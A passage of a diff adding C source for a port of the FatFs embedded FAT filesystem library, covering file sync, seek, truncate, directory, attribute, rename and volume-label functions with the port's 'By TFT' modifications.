1)) + ABORT(fp->fs, FR_DISK_ERR); + } +#endif + fp->dsect = sect; + } + wcnt = SS(fp->fs) - ((UINT)fp->fptr % SS(fp->fs));/* Put partial sector into file I/O buffer */ + if (wcnt > btw) wcnt = btw; +#if _FS_TINY + if (move_window(fp->fs, fp->dsect)) /* Move sector window */ + ABORT(fp->fs, FR_DISK_ERR); + mem_cpy(&fp->fs->win[fp->fptr % SS(fp->fs)], wbuff, wcnt); /* Fit partial sector */ + fp->fs->wflag = 1; +#else + mem_cpy(&fp->buf[fp->fptr % SS(fp->fs)], wbuff, wcnt); /* Fit partial sector */ + fp->flag |= FA__DIRTY; +#endif + } + + if (fp->fptr > fp->fsize) fp->fsize = fp->fptr; /* Update file size if needed */ + fp->flag |= FA__WRITTEN; /* Set file change flag */ + + LEAVE_FF(fp->fs, FR_OK); +} + + + + +/*-----------------------------------------------------------------------*/ +/* Synchronize the File */ +/*-----------------------------------------------------------------------*/ + +FRESULT f_sync ( + FIL* fp /* Pointer to the file object */ +) +{ + FRESULT res; + DWORD tm; + BYTE *dir; + + + res = validate(fp); /* Check validity of the object */ + if (res == FR_OK) { + if (fp->flag & FA__WRITTEN) { /* Has the file been written? */ + /* Write-back dirty buffer */ +#if !_FS_TINY + if (fp->flag & FA__DIRTY) { + if (disk_write(fp->fs->drv, fp->buf, fp->dsect, 1)) + LEAVE_FF(fp->fs, FR_DISK_ERR); + fp->flag &= ~FA__DIRTY; + } +#endif + /* Update the directory entry */ + res = move_window(fp->fs, fp->dir_sect); + if (res == FR_OK) { + dir = fp->dir_ptr; + dir[DIR_Attr] |= AM_ARC; /* Set archive bit */ + ST_DWORD(dir+DIR_FileSize, fp->fsize); /* Update file size */ + st_clust(dir, fp->sclust); /* Update start cluster */ + tm = get_fattime(); /* Update updated time */ + ST_DWORD(dir+DIR_WrtTime, tm); + ST_WORD(dir+DIR_LstAccDate, 0); + fp->flag &= ~FA__WRITTEN; + fp->fs->wflag = 1; + res = sync_fs(fp->fs); + } + } + } + + LEAVE_FF(fp->fs, res); +} + +#endif /* !_FS_READONLY */ + + + + +/*-----------------------------------------------------------------------*/ +/* Close File */ +/*-----------------------------------------------------------------------*/ + +FRESULT f_close ( + FIL *fp /* Pointer to the file object to be closed */ +) +{ + FRESULT res; + + +#if _FS_READONLY + res = validate(fp); + { +#if _FS_REENTRANT + FATFS *fs = 0; + if (res == FR_OK) fs = fp->fs; /* Get corresponding file system object */ +#endif + if (res == FR_OK) fp->fs = 0; /* Invalidate file object */ + LEAVE_FF(fs, res); + } +#else + res = f_sync(fp); /* Flush cached data */ +#ifdef _FS_LOCK + if (res == FR_OK) { /* Decrement open counter */ +#if _FS_REENTRANT + res = validate(fp); + if (res == FR_OK) { + res = dec_lock(fp->fs,fp->lockid); + unlock_fs(fp->fs, FR_OK); + } +#else + res = dec_lock(fp->fs,fp->lockid); +#endif + } +#endif + if (res == FR_OK) fp->fs = 0; /* Invalidate file object */ + return res; +#endif +} + + + + +/*-----------------------------------------------------------------------*/ +/* Change Current Directory or Current Drive, Get Current Directory */ +/*-----------------------------------------------------------------------*/ + +#if _FS_RPATH >= 1 +#if _VOLUMES >= 2 +FRESULT f_chdrive ( + const TCHAR* path /* Drive number */ +) +{ + int vol; + + + vol = get_ldnumber(&path); + if (vol < 0) return FR_INVALID_DRIVE; + + CurrVol = (BYTE)vol; + + return FR_OK; +} +#endif + + +FRESULT f_chdir ( + FATFS *fs, /* By TFT: added to get rid of static variables */ + const TCHAR* path /* Pointer to the directory path */ +) +{ + FRESULT res; + DIR_ dj; + DEF_NAMEBUF; + + + /* Get logical drive number */ + dj.fs=fs; + res = find_volume(dj.fs, &path, 0); + if (res == FR_OK) { + INIT_BUF(dj); + res = follow_path(&dj, path); /* Follow the path */ + FREE_BUF(); + if (res == FR_OK) { /* Follow completed */ + if (!dj.dir) { + dj.fs->cdir = dj.sclust; /* Start directory itself */ + } else { + if (dj.dir[DIR_Attr] & AM_DIR) /* Reached to the directory */ + dj.fs->cdir = ld_clust(dj.fs, dj.dir); + else + res = FR_NO_PATH; /* Reached but a file */ + } + } + if (res == FR_NO_FILE) res = FR_NO_PATH; + } + + LEAVE_FF(dj.fs, res); +} + + +#if _FS_RPATH >= 2 +FRESULT f_getcwd ( + FATFS *fs, /* By TFT: added to get rid of static variables */ + TCHAR* buff, /* Pointer to the directory path */ + UINT len /* Size of path */ +) +{ + FRESULT res; + DIR_ dj; + UINT i, n; + DWORD ccl; + TCHAR *tp; + FILINFO fno; + DEF_NAMEBUF; + + + *buff = 0; + /* Get logical drive number */ + dj.fs=fs; + res = find_volume(dj.fs, (const TCHAR**)&buff, 0); /* Get current volume */ + if (res == FR_OK) { + INIT_BUF(dj); + i = len; /* Bottom of buffer (directory stack base) */ + dj.sclust = dj.fs->cdir; /* Start to follow upper directory from current directory */ + while ((ccl = dj.sclust) != 0) { /* Repeat while current directory is a sub-directory */ + res = dir_sdi(&dj, 1); /* Get parent directory */ + if (res != FR_OK) break; + res = dir_read(&dj, 0); + if (res != FR_OK) break; + dj.sclust = ld_clust(dj.fs, dj.dir); /* Goto parent directory */ + res = dir_sdi(&dj, 0); + if (res != FR_OK) break; + do { /* Find the entry links to the child directory */ + res = dir_read(&dj, 0); + if (res != FR_OK) break; + if (ccl == ld_clust(dj.fs, dj.dir)) break; /* Found the entry */ + res = dir_next(&dj, 0); + } while (res == FR_OK); + if (res == FR_NO_FILE) res = FR_INT_ERR;/* It cannot be 'not found'. */ + if (res != FR_OK) break; +#if _USE_LFN + fno.lfname = buff; + fno.lfsize = i; +#endif + get_fileinfo(&dj, &fno); /* Get the directory name and push it to the buffer */ + tp = fno.fname; +#if _USE_LFN + if (*buff) tp = buff; +#endif + for (n = 0; tp[n]; n++) ; + if (i < n + 3) { + res = FR_NOT_ENOUGH_CORE; break; + } + while (n) buff[--i] = tp[--n]; + buff[--i] = '/'; + } + tp = buff; + if (res == FR_OK) { +#if _VOLUMES >= 2 + *tp++ = '0' + CurrVol; /* Put drive number */ + *tp++ = ':'; +#endif + if (i == len) { /* Root-directory */ + *tp++ = '/'; + } else { /* Sub-directroy */ + do /* Add stacked path str */ + *tp++ = buff[i++]; + while (i < len); + } + } + *tp = 0; + FREE_BUF(); + } + + LEAVE_FF(dj.fs, res); +} +#endif /* _FS_RPATH >= 2 */ +#endif /* _FS_RPATH >= 1 */ + + + +#if _FS_MINIMIZE <= 2 +/*-----------------------------------------------------------------------*/ +/* Seek File R/W Pointer */ +/*-----------------------------------------------------------------------*/ + +FRESULT f_lseek ( + FIL* fp, /* Pointer to the file object */ + DWORD ofs /* File pointer from top of file */ +) +{ + FRESULT res; + + + res = validate(fp); /* Check validity of the object */ + if (res != FR_OK) LEAVE_FF(fp->fs, res); + if (fp->err) /* Check error */ + LEAVE_FF(fp->fs, (FRESULT)fp->err); + +#if _USE_FASTSEEK + if (fp->cltbl) { /* Fast seek */ + DWORD cl, pcl, ncl, tcl, dsc, tlen, ulen, *tbl; + + if (ofs == CREATE_LINKMAP) { /* Create CLMT */ + tbl = fp->cltbl; + tlen = *tbl++; ulen = 2; /* Given table size and required table size */ + cl = fp->sclust; /* Top of the chain */ + if (cl) { + do { + /* Get a fragment */ + tcl = cl; ncl = 0; ulen += 2; /* Top, length and used items */ + do { + pcl = cl; ncl++; + cl = get_fat(fp->fs, cl); + if (cl <= 1) ABORT(fp->fs, FR_INT_ERR); + if (cl == 0xFFFFFFFF) ABORT(fp->fs, FR_DISK_ERR); + } while (cl == pcl + 1); + if (ulen <= tlen) { /* Store the length and top of the fragment */ + *tbl++ = ncl; *tbl++ = tcl; + } + } while (cl < fp->fs->n_fatent); /* Repeat until end of chain */ + } + *fp->cltbl = ulen; /* Number of items used */ + if (ulen <= tlen) + *tbl = 0; /* Terminate table */ + else + res = FR_NOT_ENOUGH_CORE; /* Given table size is smaller than required */ + + } else { /* Fast seek */ + if (ofs > fp->fsize) /* Clip offset at the file size */ + ofs = fp->fsize; + fp->fptr = ofs; /* Set file pointer */ + if (ofs) { + fp->clust = clmt_clust(fp, ofs - 1); + dsc = clust2sect(fp->fs, fp->clust); + if (!dsc) ABORT(fp->fs, FR_INT_ERR); + dsc += (ofs - 1) / SS(fp->fs) & (fp->fs->csize - 1); + if (fp->fptr % SS(fp->fs) && dsc != fp->dsect) { /* Refill sector cache if needed */ +#if !_FS_TINY +#if !_FS_READONLY + if (fp->flag & FA__DIRTY) { /* Write-back dirty sector cache */ + if (disk_write(fp->fs->drv, fp->buf, fp->dsect, 1)) + ABORT(fp->fs, FR_DISK_ERR); + fp->flag &= ~FA__DIRTY; + } +#endif + if (disk_read(fp->fs->drv, fp->buf, dsc, 1)) /* Load current sector */ + ABORT(fp->fs, FR_DISK_ERR); +#endif + fp->dsect = dsc; + } + } + } + } else +#endif + + /* Normal Seek */ + { + DWORD clst, bcs, nsect, ifptr; + + if (ofs > fp->fsize /* In read-only mode, clip offset with the file size */ +#if !_FS_READONLY + && !(fp->flag & FA_WRITE) +#endif + ) ofs = fp->fsize; + + ifptr = fp->fptr; + fp->fptr = nsect = 0; + if (ofs) { + bcs = (DWORD)fp->fs->csize * SS(fp->fs); /* Cluster size (byte) */ + if (ifptr > 0 && + (ofs - 1) / bcs >= (ifptr - 1) / bcs) { /* When seek to same or following cluster, */ + fp->fptr = (ifptr - 1) & ~(bcs - 1); /* start from the current cluster */ + ofs -= fp->fptr; + clst = fp->clust; + } else { /* When seek to back cluster, */ + clst = fp->sclust; /* start from the first cluster */ +#if !_FS_READONLY + if (clst == 0) { /* If no cluster chain, create a new chain */ + clst = create_chain(fp->fs, 0); + if (clst == 1) ABORT(fp->fs, FR_INT_ERR); + if (clst == 0xFFFFFFFF) ABORT(fp->fs, FR_DISK_ERR); + fp->sclust = clst; + } +#endif + fp->clust = clst; + } + if (clst != 0) { + while (ofs > bcs) { /* Cluster following loop */ +#if !_FS_READONLY + if (fp->flag & FA_WRITE) { /* Check if in write mode or not */ + clst = create_chain(fp->fs, clst); /* Force stretch if in write mode */ + if (clst == 0) { /* When disk gets full, clip file size */ + ofs = bcs; break; + } + } else +#endif + clst = get_fat(fp->fs, clst); /* Follow cluster chain if not in write mode */ + if (clst == 0xFFFFFFFF) ABORT(fp->fs, FR_DISK_ERR); + if (clst <= 1 || clst >= fp->fs->n_fatent) ABORT(fp->fs, FR_INT_ERR); + fp->clust = clst; + fp->fptr += bcs; + ofs -= bcs; + } + fp->fptr += ofs; + if (ofs % SS(fp->fs)) { + nsect = clust2sect(fp->fs, clst); /* Current sector */ + if (!nsect) ABORT(fp->fs, FR_INT_ERR); + nsect += ofs / SS(fp->fs); + } + } + } + if (fp->fptr % SS(fp->fs) && nsect != fp->dsect) { /* Fill sector cache if needed */ +#if !_FS_TINY +#if !_FS_READONLY + if (fp->flag & FA__DIRTY) { /* Write-back dirty sector cache */ + if (disk_write(fp->fs->drv, fp->buf, fp->dsect, 1)) + ABORT(fp->fs, FR_DISK_ERR); + fp->flag &= ~FA__DIRTY; + } +#endif + if (disk_read(fp->fs->drv, fp->buf, nsect, 1)) /* Fill sector cache */ + ABORT(fp->fs, FR_DISK_ERR); +#endif + fp->dsect = nsect; + } +#if !_FS_READONLY + if (fp->fptr > fp->fsize) { /* Set file change flag if the file size is extended */ + fp->fsize = fp->fptr; + fp->flag |= FA__WRITTEN; + } +#endif + } + + LEAVE_FF(fp->fs, res); +} + + + +#if _FS_MINIMIZE <= 1 +/*-----------------------------------------------------------------------*/ +/* Create a Directory Object */ +/*-----------------------------------------------------------------------*/ + +FRESULT f_opendir ( + FATFS *fs, /* By TFT: added to get rid of static variables */ + DIR_* dp, /* Pointer to directory object to create */ + const /*TCHAR*/char *path /* Pointer to the directory path */ +) +{ + FRESULT res; + //FATFS* fs; + DEF_NAMEBUF; + + + if (!dp) return FR_INVALID_OBJECT; + + /* Get logical drive number */ + res = find_volume(fs, /*&path,*/ 0); + if (res == FR_OK) { + dp->fs = fs; + INIT_BUF(*dp); + res = follow_path(dp, path); /* Follow the path to the directory */ + FREE_BUF(); + if (res == FR_OK) { /* Follow completed */ + if (dp->dir) { /* It is not the origin directory itself */ + if (dp->dir[DIR_Attr] & AM_DIR) /* The object is a sub directory */ + dp->sclust = ld_clust(fs, dp->dir); + else /* The object is a file */ + res = FR_NO_PATH; + } + if (res == FR_OK) { + dp->id = fs->id; + res = dir_sdi(dp, 0); /* Rewind directory */ +#ifdef _FS_LOCK + if (res == FR_OK) { + if (dp->sclust) { + dp->lockid = inc_lock(dp, 0); /* Lock the sub directory */ + if (!dp->lockid) + res = FR_TOO_MANY_OPEN_FILES; + } else { + dp->lockid = 0; /* Root directory need not to be locked */ + } + } +#endif + } + } + if (res == FR_NO_FILE) res = FR_NO_PATH; + } + if (res != FR_OK) dp->fs = 0; /* Invalidate the directory object if function faild */ + + LEAVE_FF(fs, res); +} + + + + +/*-----------------------------------------------------------------------*/ +/* Close Directory */ +/*-----------------------------------------------------------------------*/ + +FRESULT f_closedir ( + DIR_ *dp /* Pointer to the directory object to be closed */ +) +{ + FRESULT res; + + + res = validate(dp); +#ifdef _FS_LOCK + if (res == FR_OK) { /* Decrement open counter */ + if (dp->lockid) + res = dec_lock(dp->fs,dp->lockid); +#if _FS_REENTRANT + unlock_fs(dp->fs, FR_OK); +#endif + } +#endif + if (res == FR_OK) dp->fs = 0; /* Invalidate directory object */ + return res; +} + + + + +/*-----------------------------------------------------------------------*/ +/* Read Directory Entries in Sequence */ +/*-----------------------------------------------------------------------*/ + +FRESULT f_readdir ( + DIR_* dp, /* Pointer to the open directory object */ + FILINFO* fno /* Pointer to file information to return */ +) +{ + FRESULT res; + DEF_NAMEBUF; + + + res = validate(dp); /* Check validity of the object */ + if (res == FR_OK) { + if (!fno) { + res = dir_sdi(dp, 0); /* Rewind the directory object */ + } else { + INIT_BUF2(*dp,dp->fs); + res = dir_read(dp, 0); /* Read an item */ + if (res == FR_NO_FILE) { /* Reached end of directory */ + dp->sect = 0; + res = FR_OK; + } + if (res == FR_OK) { /* A valid entry is found */ + get_fileinfo(dp, fno); /* Get the object information */ + res = dir_next(dp, 0); /* Increment index for next */ + if (res == FR_NO_FILE) { + dp->sect = 0; + res = FR_OK; + } + } + FREE_BUF(); + } + } + + LEAVE_FF(dp->fs, res); +} + + + +#if _FS_MINIMIZE == 0 +/*-----------------------------------------------------------------------*/ +/* Get File Status */ +/*-----------------------------------------------------------------------*/ + +FRESULT f_stat ( + FATFS *fs, /* By TFT: added to get rid of static variables */ + const /*TCHAR*/char *path, /* Pointer to the file path */ + FILINFO* fno /* Pointer to file information to return */ +) +{ + FRESULT res; + DIR_ dj; + DEF_NAMEBUF; + + + /* Get logical drive number */ + dj.fs=fs; + res = find_volume(dj.fs, /*&path,*/ 0); + if (res == FR_OK) { + INIT_BUF(dj); + res = follow_path(&dj, path); /* Follow the file path */ + if (res == FR_OK) { /* Follow completed */ + if (dj.dir) { /* Found an object */ + if (fno) get_fileinfo(&dj, fno); + } else { /* It is root directory */ + res = FR_INVALID_NAME; + } + } + FREE_BUF(); + } + + LEAVE_FF(dj.fs, res); +} + + + +#if !_FS_READONLY +/*-----------------------------------------------------------------------*/ +/* Get Number of Free Clusters */ +/*-----------------------------------------------------------------------*/ + +FRESULT f_getfree ( + FATFS *fs, /* By TFT: added to get rid of static variables */ + /*const TCHAR* path,*/ /* Path name of the logical drive number */ + DWORD* nclst /* Pointer to a variable to return number of free clusters */ + /*FATFS** fatfs*/ /* Pointer to return pointer to corresponding file system object */ +) +{ + FRESULT res; + //FATFS *fs; + DWORD n, clst, sect, stat; + UINT i; + BYTE fat, *p; + + + /* Get logical drive number */ + res = find_volume(fs/*fatfs*/, /*&path,*/ 0); + //fs = *fatfs; + if (res == FR_OK) { + /* If free_clust is valid, return it without full cluster scan */ + if (fs->free_clust <= fs->n_fatent - 2) { + *nclst = fs->free_clust; + } else { + /* Get number of free clusters */ + fat = fs->fs_type; + n = 0; + if (fat == FS_FAT12) { + clst = 2; + do { + stat = get_fat(fs, clst); + if (stat == 0xFFFFFFFF) { res = FR_DISK_ERR; break; } + if (stat == 1) { res = FR_INT_ERR; break; } + if (stat == 0) n++; + } while (++clst < fs->n_fatent); + } else { + clst = fs->n_fatent; + sect = fs->fatbase; + i = 0; p = 0; + do { + if (!i) { + res = move_window(fs, sect++); + if (res != FR_OK) break; + p = fs->win; + i = SS(fs); + } + if (fat == FS_FAT16) { + if (LD_WORD(p) == 0) n++; + p += 2; i -= 2; + } else { + if ((LD_DWORD(p) & 0x0FFFFFFF) == 0) n++; + p += 4; i -= 4; + } + } while (--clst); + } + fs->free_clust = n; + fs->fsi_flag |= 1; + *nclst = n; + } + } + LEAVE_FF(fs, res); +} + + + + +/*-----------------------------------------------------------------------*/ +/* Truncate File */ +/*-----------------------------------------------------------------------*/ + +FRESULT f_truncate ( + FIL* fp /* Pointer to the file object */ +) +{ + FRESULT res; + DWORD ncl; + + + res = validate(fp); /* Check validity of the object */ + if (res == FR_OK) { + if (fp->err) { /* Check error */ + res = (FRESULT)fp->err; + } else { + if (!(fp->flag & FA_WRITE)) /* Check access mode */ + res = FR_DENIED; + } + } + if (res == FR_OK) { + if (fp->fsize > fp->fptr) { + fp->fsize = fp->fptr; /* Set file size to current R/W point */ + fp->flag |= FA__WRITTEN; + if (fp->fptr == 0) { /* When set file size to zero, remove entire cluster chain */ + res = remove_chain(fp->fs, fp->sclust); + fp->sclust = 0; + } else { /* When truncate a part of the file, remove remaining clusters */ + ncl = get_fat(fp->fs, fp->clust); + res = FR_OK; + if (ncl == 0xFFFFFFFF) res = FR_DISK_ERR; + if (ncl == 1) res = FR_INT_ERR; + if (res == FR_OK && ncl < fp->fs->n_fatent) { + res = put_fat(fp->fs, fp->clust, 0x0FFFFFFF); + if (res == FR_OK) res = remove_chain(fp->fs, ncl); + } + } +#if !_FS_TINY + if (res == FR_OK && (fp->flag & FA__DIRTY)) { + if (disk_write(fp->fs->drv, fp->buf, fp->dsect, 1)) + res = FR_DISK_ERR; + else + fp->flag &= ~FA__DIRTY; + } +#endif + } + if (res != FR_OK) fp->err = (FRESULT)res; + } + + LEAVE_FF(fp->fs, res); +} + + + + +/*-----------------------------------------------------------------------*/ +/* Delete a File or Directory */ +/*-----------------------------------------------------------------------*/ + +FRESULT f_unlink ( + FATFS *fs, /* By TFT: added to get rid of static variables */ + const /*TCHAR*/char *path /* Pointer to the file or directory path */ +) +{ + FRESULT res; + DIR_ dj, sdj; + BYTE *dir; + DWORD dclst; + DEF_NAMEBUF; + + + /* Get logical drive number */ + dj.fs=fs; + res = find_volume(dj.fs, /*&path,*/ 1); + if (res == FR_OK) { + INIT_BUF(dj); + res = follow_path(&dj, path); /* Follow the file path */ + if (_FS_RPATH && res == FR_OK && (dj.fn[NS] & NS_DOT)) + res = FR_INVALID_NAME; /* Cannot remove dot entry */ +#ifdef _FS_LOCK + if (res == FR_OK) res = chk_lock(&dj, 2); /* Cannot remove open file */ +#endif + if (res == FR_OK) { /* The object is accessible */ + dir = dj.dir; + if (!dir) { + res = FR_INVALID_NAME; /* Cannot remove the start directory */ + } else { + if (dir[DIR_Attr] & AM_RDO) + res = FR_DENIED; /* Cannot remove R/O object */ + } + dclst = ld_clust(dj.fs, dir); + if (res == FR_OK && (dir[DIR_Attr] & AM_DIR)) { /* Is it a sub-dir? */ + if (dclst < 2) { + res = FR_INT_ERR; + } else { + mem_cpy(&sdj, &dj, sizeof (DIR_)); /* Check if the sub-directory is empty or not */ + sdj.sclust = dclst; + res = dir_sdi(&sdj, 2); /* Exclude dot entries */ + if (res == FR_OK) { + res = dir_read(&sdj, 0); /* Read an item */ + if (res == FR_OK /* Not empty directory */ +#if _FS_RPATH + || dclst == dj.fs->cdir /* Current directory */ +#endif + ) res = FR_DENIED; + if (res == FR_NO_FILE) res = FR_OK; /* Empty */ + } + } + } + if (res == FR_OK) { + res = dir_remove(&dj); /* Remove the directory entry */ + if (res == FR_OK) { + if (dclst) /* Remove the cluster chain if exist */ + res = remove_chain(dj.fs, dclst); + if (res == FR_OK) res = sync_fs(dj.fs); + } + } + } + FREE_BUF(); + } + + LEAVE_FF(dj.fs, res); +} + + + + +/*-----------------------------------------------------------------------*/ +/* Create a Directory */ +/*-----------------------------------------------------------------------*/ + +FRESULT f_mkdir ( + FATFS *fs, /* By TFT: added to get rid of static variables */ + const /*TCHAR*/char *path /* Pointer to the directory path */ +) +{ + FRESULT res; + DIR_ dj; + BYTE *dir, n; + DWORD dsc, dcl, pcl, tm = get_fattime(); + DEF_NAMEBUF; + + + /* Get logical drive number */ + dj.fs=fs; + res = find_volume(dj.fs, /*&path,*/ 1); + if (res == FR_OK) { + INIT_BUF(dj); + res = follow_path(&dj, path); /* Follow the file path */ + if (res == FR_OK) res = FR_EXIST; /* Any object with same name is already existing */ + if (_FS_RPATH && res == FR_NO_FILE && (dj.fn[NS] & NS_DOT)) + res = FR_INVALID_NAME; + if (res == FR_NO_FILE) { /* Can create a new directory */ + dcl = create_chain(dj.fs, 0); /* Allocate a cluster for the new directory table */ + res = FR_OK; + if (dcl == 0) res = FR_DENIED; /* No space to allocate a new cluster */ + if (dcl == 1) res = FR_INT_ERR; + if (dcl == 0xFFFFFFFF) res = FR_DISK_ERR; + if (res == FR_OK) /* Flush FAT */ + res = sync_window(dj.fs); + if (res == FR_OK) { /* Initialize the new directory table */ + dsc = clust2sect(dj.fs, dcl); + dir = dj.fs->win; + mem_set(dir, 0, SS(dj.fs)); + mem_set(dir+DIR_Name, ' ', 11); /* Create "." entry */ + dir[DIR_Name] = '.'; + dir[DIR_Attr] = AM_DIR; + ST_DWORD(dir+DIR_WrtTime, tm); + st_clust(dir, dcl); + mem_cpy(dir+SZ_DIR, dir, SZ_DIR); /* Create ".." entry */ + dir[SZ_DIR+1] = '.'; pcl = dj.sclust; + if (dj.fs->fs_type == FS_FAT32 && pcl == dj.fs->dirbase) + pcl = 0; + st_clust(dir+SZ_DIR, pcl); + for (n = dj.fs->csize; n; n--) { /* Write dot entries and clear following sectors */ + dj.fs->winsect = dsc++; + dj.fs->wflag = 1; + res = sync_window(dj.fs); + if (res != FR_OK) break; + mem_set(dir, 0, SS(dj.fs)); + } + } + if (res == FR_OK) res = dir_register(&dj); /* Register the object to the directoy */ + if (res != FR_OK) { + remove_chain(dj.fs, dcl); /* Could not register, remove cluster chain */ + } else { + dir = dj.dir; + dir[DIR_Attr] = AM_DIR; /* Attribute */ + ST_DWORD(dir+DIR_WrtTime, tm); /* Created time */ + st_clust(dir, dcl); /* Table start cluster */ + dj.fs->wflag = 1; + res = sync_fs(dj.fs); + } + } + FREE_BUF(); + } + + LEAVE_FF(dj.fs, res); +} + + + + +/*-----------------------------------------------------------------------*/ +/* Change Attribute */ +/*-----------------------------------------------------------------------*/ + +FRESULT f_chmod ( + FATFS *fs, /* By TFT: added to get rid of static variables */ + const /*TCHAR*/char *path, /* Pointer to the file path */ + BYTE value, /* Attribute bits */ + BYTE mask /* Attribute mask to change */ +) +{ + FRESULT res; + DIR_ dj; + BYTE *dir; + DEF_NAMEBUF; + + + /* Get logical drive number */ + dj.fs=fs; + res = find_volume(dj.fs, /*&path,*/ 1); + if (res == FR_OK) { + INIT_BUF(dj); + res = follow_path(&dj, path); /* Follow the file path */ + FREE_BUF(); + if (_FS_RPATH && res == FR_OK && (dj.fn[NS] & NS_DOT)) + res = FR_INVALID_NAME; + if (res == FR_OK) { + dir = dj.dir; + if (!dir) { /* Is it a root directory? */ + res = FR_INVALID_NAME; + } else { /* File or sub directory */ + mask &= AM_RDO|AM_HID|AM_SYS|AM_ARC; /* Valid attribute mask */ + dir[DIR_Attr] = (value & mask) | (dir[DIR_Attr] & (BYTE)~mask); /* Apply attribute change */ + dj.fs->wflag = 1; + res = sync_fs(dj.fs); + } + } + } + + LEAVE_FF(dj.fs, res); +} + + + + +/*-----------------------------------------------------------------------*/ +/* Change Timestamp */ +/*-----------------------------------------------------------------------*/ + +FRESULT f_utime ( + FATFS *fs, /* By TFT: added to get rid of static variables */ + const /*TCHAR*/char *path, /* Pointer to the file/directory name */ + const FILINFO* fno /* Pointer to the time stamp to be set */ +) +{ + FRESULT res; + DIR_ dj; + BYTE *dir; + DEF_NAMEBUF; + + + /* Get logical drive number */ + dj.fs=fs; + res = find_volume(dj.fs, /*&path,*/ 1); + if (res == FR_OK) { + INIT_BUF(dj); + res = follow_path(&dj, path); /* Follow the file path */ + FREE_BUF(); + if (_FS_RPATH && res == FR_OK && (dj.fn[NS] & NS_DOT)) + res = FR_INVALID_NAME; + if (res == FR_OK) { + dir = dj.dir; + if (!dir) { /* Root directory */ + res = FR_INVALID_NAME; + } else { /* File or sub-directory */ + ST_WORD(dir+DIR_WrtTime, fno->ftime); + ST_WORD(dir+DIR_WrtDate, fno->fdate); + dj.fs->wflag = 1; + res = sync_fs(dj.fs); + } + } + } + + LEAVE_FF(dj.fs, res); +} + + + + +/*-----------------------------------------------------------------------*/ +/* Rename File/Directory */ +/*-----------------------------------------------------------------------*/ + +FRESULT f_rename ( + FATFS *fs, /* By TFT: added to get rid of static variables */ + const /*TCHAR*/char *path_old, /* Pointer to the old name */ + const /*TCHAR*/char *path_new /* Pointer to the new name */ +) +{ + FRESULT res; + DIR_ djo, djn; + BYTE buf[21], *dir; + DWORD dw; + DEF_NAMEBUF; + + + /* Get logical drive number of the source object */ + djo.fs=fs; + res = find_volume(djo.fs, /*&path_old,*/ 1); + if (res == FR_OK) { + djn.fs = djo.fs; + INIT_BUF(djo); + res = follow_path(&djo, path_old); /* Check old object */ + if (_FS_RPATH && res == FR_OK && (djo.fn[NS] & NS_DOT)) + res = FR_INVALID_NAME; +#ifdef _FS_LOCK + if (res == FR_OK) res = chk_lock(&djo, 2); +#endif + if (res == FR_OK) { /* Old object is found */ + if (!djo.dir) { /* Is root dir? */ + res = FR_NO_FILE; + } else { + mem_cpy(buf, djo.dir+DIR_Attr, 21); /* Save the object information except for name */ + mem_cpy(&djn, &djo, sizeof (DIR_)); /* Check new object */ + res = follow_path(&djn, path_new); + if (res == FR_OK) res = FR_EXIST; /* The new object name is already existing */ + if (res == FR_NO_FILE) { /* Is it a valid path and no name collision? */ +/* Start critical section that any interruption can cause a cross-link */ + res = dir_register(&djn); /* Register the new entry */ + if (res == FR_OK) { + dir = djn.dir; /* Copy object information except for name */ + mem_cpy(dir+13, buf+2, 19); + dir[DIR_Attr] = buf[0] | AM_ARC; + djo.fs->wflag = 1; + if (djo.sclust != djn.sclust && (dir[DIR_Attr] & AM_DIR)) { /* Update .. entry in the directory if needed */ + dw = clust2sect(djo.fs, ld_clust(djo.fs, dir)); + if (!dw) { + res = FR_INT_ERR; + } else { + res = move_window(djo.fs, dw); + dir = djo.fs->win+SZ_DIR; /* .. entry */ + if (res == FR_OK && dir[1] == '.') { + dw = (djo.fs->fs_type == FS_FAT32 && djn.sclust == djo.fs->dirbase) ? 0 : djn.sclust; + st_clust(dir, dw); + djo.fs->wflag = 1; + } + } + } + if (res == FR_OK) { + res = dir_remove(&djo); /* Remove old entry */ + if (res == FR_OK) + res = sync_fs(djo.fs); + } + } +/* End critical section */ + } + } + } + FREE_BUF(); + } + + LEAVE_FF(djo.fs, res); +} + +#endif /* !_FS_READONLY */ +#endif /* _FS_MINIMIZE == 0 */ +#endif /* _FS_MINIMIZE <= 1 */ +#endif /* _FS_MINIMIZE <= 2 */ + + + +#if _USE_LABEL +/*-----------------------------------------------------------------------*/ +/* Get volume label */ +/*-----------------------------------------------------------------------*/ + +FRESULT f_getlabel ( + FATFS *fs, /* By TFT: added to get rid of static variables */ + const TCHAR* path, /* Path name of the logical drive number */ + TCHAR* label, /* Pointer to a buffer to return the volume label */ + DWORD* sn /* Pointer to a variable to return the volume serial number */ +) +{ + FRESULT res; + DIR_ dj; + UINT i, j; + + + /* Get logical drive number */ + dj.fs=fs; + res = find_volume(dj.fs, &path, 0); + + /* Get volume label */ + if (res == FR_OK && label) { + dj.sclust = 0; /* Open root directory */ + res = dir_sdi(&dj, 0); + if (res == FR_OK) { + res = dir_read(&dj, 1); /* Get an entry with AM_VOL */ + if (res == FR_OK) { /* A volume label is exist */ +#if _LFN_UNICODE + WCHAR w; + i = j = 0; + do { + w = (i < 11) ? dj.dir[i++] : ' '; + if (IsDBCS1(w) && i < 11 && IsDBCS2(dj.dir[i])) + w = w << 8 | dj.dir[i++]; + label[j++] = ff_convert(w, 1); /* OEM -> Unicode */ + } while (j < 11); +#else + mem_cpy(label, dj.dir, 11); +#endif + j = 11; + do { + label[j] = 0; + if (!j) break; + } while (label[--j] == ' '); + } + if (res == FR_NO_FILE) { /* No label, return nul string */ + label[0] = 0; + res = FR_OK; + } + } + } + + /* Get volume serial number */ + if (res == FR_OK && sn) { + res = move_window(dj.fs, dj.fs->volbase); + if (res == FR_OK) { + i = dj.fs->fs_type == FS_FAT32 ? BS_VolID32 : BS_VolID; + *sn = LD_DWORD(&dj.fs->win[i]); + } + } + + LEAVE_FF(dj.fs, res); +} + + + +#if !_FS_READONLY +/*-----------------------------------------------------------------------*/ +/* Set volume label */ +/*-----------------------------------------------------------------------*/ + +FRESULT f_setlabel ( + FATFS *fs, /* By TFT: added to get rid of static variables */ + const TCHAR* label /* Pointer to the volume label to set */ +) +{ + FRESULT res; + DIR_ dj; + BYTE vn[11]; + UINT i, j, sl; + WCHAR w; + DWORD tm; + + + /* Get logical drive number */ + dj.fs=fs; + res = find_volume(dj.fs, &label, 1); + if (res) LEAVE_FF(dj.fs, res); + + /* Create a volume label in directory form */ + vn[0] = 0; + for (sl = 0; label[sl]; sl++) ; /* Get name length */ + for ( ; sl && label[sl-1] == ' '; sl--) ; /* Remove trailing spaces */ + if (sl) { /* Create volume 